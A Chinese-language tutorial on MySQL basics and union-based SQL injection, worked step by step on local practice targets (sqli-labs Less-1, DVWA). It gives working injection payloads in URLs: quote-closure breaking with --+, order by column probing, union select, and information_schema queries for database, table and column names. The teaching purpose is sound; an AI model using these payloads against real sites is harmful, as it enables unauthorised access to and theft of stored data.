数据库基础:

一、数据库的操作

(1)基本语句:

mysql -u xxx //进入mysql

show databases; //查看所有库名

use XXX; //进入某个库

show tables;//查看库的表

查询语句:select

数据操作语句:insert(插入)、updata(修改)、delete(删除)

(2)SQL注入的常用语句。

Order by语句

      通常是用来做排序的,默认按照升序排。但是SQL注入中用来判断当前有多少列,配合查询来爆数据。

用法:

http://172.172.3.250/cms/show.php?id=35利用order by来看当前表有多少列。

http://172.172.3.250/cms/show.php?id=35 order by 10回显正常

http://172.172.3.250/cms/show.php?id=35 order by 15回显正常

http://172.172.3.250/cms/show.php?id=35 order by 16回显不正常

以上说明当前表有15列

union联合查询语句

      联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容。(这里注意:联合查询时,输出的列数需要一致才能成功)

用法:语句1 union all 语句2,只要将语句1的返回false就可以只显示语句2的内容。

MYSQL函数:

      SQL函数是在SQL注入中用的比较多的,经常利用SQL函数来判断数据库的版本,当前用户,当前用户权限以及数据库的安装路径等等,以下是常用的MYSQL函数:

  1. system_user()系统用户名
  2. user()用户名
  3. current_user() 当前用户名
  4. session_user() 连接数据库用的用户名
  5. database()数据库名
  6. version()mysql数据库版本
  7. load_file()mysql读取本地文件的函数
  8. @@datadir 数据库路径
  9. @@basedir mysql安装路径
  10. @@version_compile_os 操作系统

用法:

Select database();   //查询当前的库名。

Select 库名.表名;     //在一个库中查看另一个库

(3)MYSQL系统数据库。

    系统数据库中拥有所有数据库中的信息(schemata)、表中的列数据(columns)和表数据(tables)。利用系统数据库配合union联合查询来获取数据库相关信息。

MYSQL的系统数据库为information_schema,

用法:

1)SCHEMATA表

      这个表里最关键的为schema_name列,这里存放了所有数据库名称。

      查询这个表schema_name的值,即查询所有数据库名。例如:

##select distinct schema_name from schemata;

2)COLUMNS表

      这个表列出了所有表中的所有列信息,对应列为column_name;此外还有所有数据库名值对应列table_schema,所有表名值对应table_name列。

##select distinct table_schema from information_schema.columns;          //通过COLUMNS表查询数据库名。

## select distinct column_name from information_schema.columns;         //通过COLUMNS表查询列名。

## select distinct table_name from information_schema.columns             //通过COLUMNS表查询表名。

3)TABLES表

      这个表包含所有表的信息;同时还包含数据库名,所有数据库名值对应列table_schema,所有表名值对应table_name。

## select distinct table_schema from information_schema.tables;     // TABLES表查询数据库名

## select distinct table_name from information_schema.tables;        // TABLES表查询表名

SQL注入(一):联合查询注入

思路:

1.判断交互方式 get/post

  • get 提交 提交的数据在url中显示
  • post 提交 没有在url中显示(这时需要打开浏览器的代理功能,进行进一步操作)

2.预判数据库执行语句

3.判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”)

整型:

      快速判断闭合方式 and 1=1 和and 1=2                //当为整型时,会出现不同的输出,1=1时正确输出,1=2时错误的输出。

其他:

      当测试整型失败时,则需要猜测,常见的闭合方式有:‘ ’、“ ”,(),(‘ ’),(“ ”)等等。

4.构造语句打破闭合

测试成功后,由于我们需要添加联合语句,来查询我们想要的信息,所以需要打破闭合。一般可以通过添加和注释两种方法来打破。

例如:

id = 1 ' 如果是‘闭合的话输入这个语句会显示语法错误,然后我们可以用--+来把还没有闭合的后一个’注释掉从而让语法正确id=1’ --+。 (当数据进行交互时,浏览器会进行转码,所以这里的--+就是转码后的注释的意思。)

进一步完善 id= 1' and 1=1 --+                  //查看有没有回显错误,如果没有则确认闭合方式 

5.构造联合查询判断输出位

通过order by 判断列数 ,建议使用二分法      //先判断列数

select 1,2,3....                                                 //有多少列,这里就为几个数字,通过这个就可以判断浏览器页面回显的为哪一列或者几列;最后使用SQL语句来替换这里的回显数字,就可以进行数据的查询。

利用group_concat() 函数把列转换为行输出group_concat(xxx)

 测试:

(一)GET型:

(1)这里提示我们在URL中输入一个ID值,我们就可以判断它使用的为GET方式

JavaScript 数据库注入 数据库注入语句_SQL

这里我们输入了ID=1,按照正常提示得到如下结果;

JavaScript 数据库注入 数据库注入语句_数据库_02

我们初步可以判断他使用的SQL应该为:

select name,password from users where id=输入的id

再来判断他的闭合方式:在输入and 1=1和 and 1=2时,页面未出现变化,判断闭合方式不是整形。

http://192.168.67.134/sqli-labs-master/Less-1/?id=1%20and%201=1

http://192.168.67.134/sqli-labs-master/Less-1/?id=1%20and%201=2

JavaScript 数据库注入 数据库注入语句_SQL_03

 经过测试当加上' 后页面出现了变化,这里我使用的为1=2是错误的命题,所以数据库执行后,什么也不返回;当输入1=1时,就会得到正确的显示。所以我们判断闭合符为'  '

?id=1' and 1=2 --+        //这里的?是访问格式,后面的--+转码的的注释符,这里我们将后面的闭合符注释掉

http://192.168.67.134/sqli-labs-master/Less-1/?id=1%27%20and%201=2--+

JavaScript 数据库注入 数据库注入语句_联合查询_04

 再来判断他使用的数据库有多少列;这里我们加上order by 4,显示错误,输入order by 3时,显示正确,所以我们判断这个数据库有3列。

JavaScript 数据库注入 数据库注入语句_数据库_05

现在我们判断它显示的为那几列,使用联合查询:union all select 1,2,3--+ ,这里我们测试出来有三列,所以我们使用3个数字测试。这里我们发现显示出来的为数字2和数字3,说明这里显示的为第二列和第三列。

JavaScript 数据库注入 数据库注入语句_联合查询_06

我们将数字2和数字3,替换为其他的查询语句,就可以显示出我们想要的信息。

这里我输入了database()和version(),显示如下

JavaScript 数据库注入 数据库注入语句_SQL_07

最后使用联合查询查询系统数据库,来找到我们想要的信息。这就用到了我们上面提到的系统数据库查询的语句。

这句话的意思就是查找security数据库,名为users,的列信息,

select column_name from information_schema.columns where table_schema='security' and table_name='users';

但是这里会出现请求超过了1行的提示,所以我们着这里限制一下,让其仅输出一行,这里用到了limit函数;

limit 0,1的意思是,将从从第0行显示,且只显示1行

JavaScript 数据库注入 数据库注入语句_联合查询_08

所以最终的SQL是;将其替换后出现了我们想要的信息。

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1;

JavaScript 数据库注入 数据库注入语句_联合查询_09

有了这些基础剩下的就是通过修改SQL语句,通过替换显示的位置,来让它显示在我们的屏幕上。

(二)POST型

这里我们在输入一个ID之后,可以看到URL中没有发生变化,因此我们就判断这是POST的提交方式。这就要使用burp suite进行代理了。

http://192.168.67.134/DVWA-1.9/vulnerabilities/sqli/#

JavaScript 数据库注入 数据库注入语句_联合查询_10

我们在使用代理之后就可以看见提交的ID了,我们使用上面的方法同样可以进行SQL;

JavaScript 数据库注入 数据库注入语句_联合查询_11

判断闭合类型:在id=1后面加and 1=1时输出正常,

JavaScript 数据库注入 数据库注入语句_联合查询_12

当加上and 1=2时无输出,我们可以判断闭合方式为整型:

JavaScript 数据库注入 数据库注入语句_联合查询_13

JavaScript 数据库注入 数据库注入语句_SQL_14

接下来判断行数,由下可得出这个使用的数据库为2列;而且输出显示的也为两列,所以这两列也就是输出显示的两列。

JavaScript 数据库注入 数据库注入语句_数据库_15

JavaScript 数据库注入 数据库注入语句_数据库_16

最后使用联合查询进行SQL注入

JavaScript 数据库注入 数据库注入语句_JavaScript 数据库注入_17

一些常用的SQL查询语言:

查询security数据库的表名和列名

select table_name,column_name from information_schema.columns where table_schema='security';

 查找security数据库,表名为users的信息,从第0行开始显示1行

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1;

 从columns表中查找数据库security的表信息(从第0行开始输出1行)

select table_name from information_schema.columns where table_schema='security' limit 0,1;

 从tables表中查找数据库为security的表信息(从第0行开始输出1行)

select table_name from information_schema.tables where table_schema='security' limit 0,1;